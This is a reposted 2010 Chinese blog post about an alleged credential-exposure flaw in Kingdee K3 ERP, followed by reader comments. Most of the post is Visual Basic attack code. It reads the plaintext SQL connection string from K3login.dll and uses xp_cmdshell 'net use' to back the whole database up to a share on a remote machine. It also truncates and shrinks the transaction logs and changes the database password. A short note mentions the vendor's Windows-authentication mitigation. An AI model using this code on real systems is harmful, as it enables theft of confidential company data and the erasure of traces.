【转】金蝶K3出现严重安全漏洞,黑客可轻易读取数据库所有信息
发布:admin | 发布时间: 2010年5月4日估计其他ERP软件里也不少类似的东西,有兴趣的同学可以跟一下。转载开始。
这个漏洞在K3 各个版本都存在并且一样,包括新发版的K3 V12的3个版本。主要数据安全漏洞描述如下:
最大的安全漏洞在K3login.dll这个控件上,,它能明文显示K3 ERP数据库的密码等信息,这是非常危险的,简单VB6.0代码如下:
Dim k3lg As New k3Login.ClsLogin
If k3lg.CheckLogin Then ’如果成功登录,执行下面语句
Msgbox k3lg.PropsString
End If
运行上述代码后,会弹出对话框,显示所有SQL数据库信息
你们看看,客户的ERP 数据库安全是不是全部暴露出来了,这是致命的漏洞,一个企业的所有商业机密都在这个数据库中,如该数据库泄露出去,对企业的影响是致命的。由于K3 ERP的这个漏洞,网管完全不知道数据库是如何泄露的(没有采用黑客攻击等非法手段,只是利用金蝶ERP软件安全设计漏洞),这些漏洞金蝶集团的开发人员提供的建议是(K3X经理提供的建议):采用WINDOWS模式认证即可避免此漏洞,请各位修改认证方式,避免企业内部数据丢失!
K3 ERP登录留下密码痕迹漏洞,适合所有版本:当用户通过登录界面登录ERP后,会将登录信息写入注册表中,包括服务器名称、登录密码、用户名称等等,因此该注册表就泄露了所有在计算机中登录用户的信息,其加密方式太简单,只要几次枚举方式就可PJ,通过数学知识,如等差数列等规律,轻而易举地将用户密码PJ,你们研究加密算法的人自己去看看规律,应对方法:因此用户最好定期清除注册表的登录痕迹,防止用户密码泄露。
利用金蝶ERP软件中KDLOGIN.dll漏洞 远程备份服务器中ERP数据库代码如下(VB):
Public k3lg As New k3Login.ClsLogin
Public cnn As New ADODB.Connection
Public i As Integer
Public j As Integer
Public K As Integer
Public S As Integer
Public cnnstr As String
Public databsnm As String
Public Sub Main()
On Error Resume Next
If k3lg.CheckLogin Then
i = InStr(k3lg.PropsString, “{“)
j = InStr(k3lg.PropsString, “}”)
cnnstr = Mid(k3lg.PropsString, i + 1, j – i – 1)
For K = 0 To Len(cnnstr) – 1
If Left(Right(cnnstr, K), 1) = “=” Then
databsnm = Right(cnnstr, K – 1)
Exit For
End If
Next K
F001主窗口.帐套名称 = k3lg.AcctName
F001主窗口.Show
End If
End Sub
Public Sub 备份数据库(ByVal beifsjk As String)
Screen.MousePointer = 13
Set cnn = New ADODB.Connection
cnn.CommandTimeout = 0
cnn.Open cnnstr
cnn.BeginTrans
On Error GoTo cnn_err:
Dim fy As String
Dim fy001 As String
Dim fy002 As String
Dim jsj As String
Dim yhu As String
Dim mima As String
Dim wenjian As String
jsj = F001主窗口.计算机名称.Text
wenjian = F001主窗口.文件夹.Text
mima = F001主窗口.用户密码.Text
yhu = F001主窗口.用户名称.Text
fy = “exec master..xp_cmdshell’net use z: \\” & jsj &”-:special:1:- & wenjian & “ ” & mima & “ /user:”& jsj & “-:special:1:- & yhu & “‘”
fy001 = “backup database ” & databsnm & ” to disk=’z:\-:special:1:- & beifsjk & ” ‘”
fy002 = “exec master..xp_cmdshell ‘net use z: /delete’ ”
cnn.Execute fy
cnn.Execute fy001
cnn.Execute fy002
cnn.CommitTrans
cnn.Close
Set cnn = Nothing
Screen.MousePointer = vbDefault
MsgBox “数据库: ” & databsnm & ” 成功备份为: ” & beifsjk, vbInformation, “提示”
Exit Sub
cnn_err:
cnn.RollbackTrans
cnn.Close
Set cnn = Nothing
Screen.MousePointer = vbDefault
MsgBox Err.Description, vbInformation, “错误提示”
End Sub
Public Sub 清除日志()
Screen.MousePointer = 13
Set cnn = New ADODB.Connection
cnn.CommandTimeout = 0
cnn.Open cnnstr
cnn.BeginTrans
On Error GoTo cnn_err:
Dim fy As String
Dim fy001 As String
Dim fy002 As String
fy = “dump transaction ” & databsnm & ” with truncate_only”
fy001 = “backup log ” & databsnm & ” with truncate_only”
fy002 = “dbcc shrinkdatabase(” & databsnm & “) ”
cnn.Execute fy
cnn.Execute fy001
cnn.Execute fy002
cnn.CommitTrans
cnn.Close
Set cnn = Nothing
Screen.MousePointer = vbDefault
MsgBox “数据库: ” & databsnm & “日志成功清除!”, vbInformation, “提示”
Exit Sub
cnn_err:
cnn.RollbackTrans
cnn.Close
Set cnn = Nothing
Screen.MousePointer = vbDefault
MsgBox Err.Description, vbInformation, “错误提示”
End Sub
Public Sub 修改数据库密码函数()
Screen.MousePointer = 13
Set cnn = New ADODB.Connection
cnn.CommandTimeout = 0
cnn.Open cnnstr
cnn.BeginTrans
On Error GoTo cnn_err:
Dim fy As String
fy = “exec sp_password ” & “‘” & F002数据库密码修改.输入旧密码 & “‘”& “,” & “‘” & F002数据库密码修改.新密码确认.Text & “‘”
cnn.Execute fy
cnn.CommitTrans
cnn.Close
Set cnn = Nothing
Screen.MousePointer = vbDefault
MsgBox “数据库密码成功修改!”, vbInformation, “提示”
Exit Sub
cnn_err:
cnn.RollbackTrans
cnn.Close
Set cnn = Nothing
Screen.MousePointer = vbDefault
MsgBox Err.Description, vbInformation, “错误提示”
End Sub
文章如转载,请注明转载自:http://www.5iadmin.com/post/577.html
- 相关文章:
黑客攻破apache官网 入侵思路精彩 安全令人堪忧 (2010-4-26 10:31:26)
oracle数据库级别优化分析工具介绍 (2010-3-29 10:10:25)
【转载】渗透国内知名公司内部局域网经过 (2010-3-6 20:18:56)
oracle9i与SQL的链接 (2010-2-15 19:5:2)
攻击Oracle的常用手段 (2010-2-13 17:37:16)
如何杀掉带锁的oracle进程 (2010-2-12 19:42:37)
追踪黑客留下的踪迹 (2010-2-8 13:54:17)
Windows下Hacker学习发展流程图 (2010-2-2 8:41:24)
根据Web服务器记录来追击黑客 (2010-1-27 14:5:11)
黑客攻击特征分析与反攻击技术 (2010-1-27 14:4:28)
- 1.有这么好的东西
- http://www.zoesan.com
- 这么好的东西啊,看来erp也不安全,http://www.zoesan.com
- 2010-5-15 14:51:18 回复该留言
- 2.楼主是白痴
- 楼主没搞明白一件事...那个字串是只在服务器上出现的,客户端根本没有连接数据库的字串..你觉得如果把服务器都给了别人,那么有哪个ERP是安全的??有什么软件是安全的??admin 于 2011-4-13 9:09:59 回复说的没错,可是数据库密码怎么也算敏感信息,在某些特定情况下很可能会被人利用
- 2010-8-11 19:07:25 回复该留言
发表评论
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。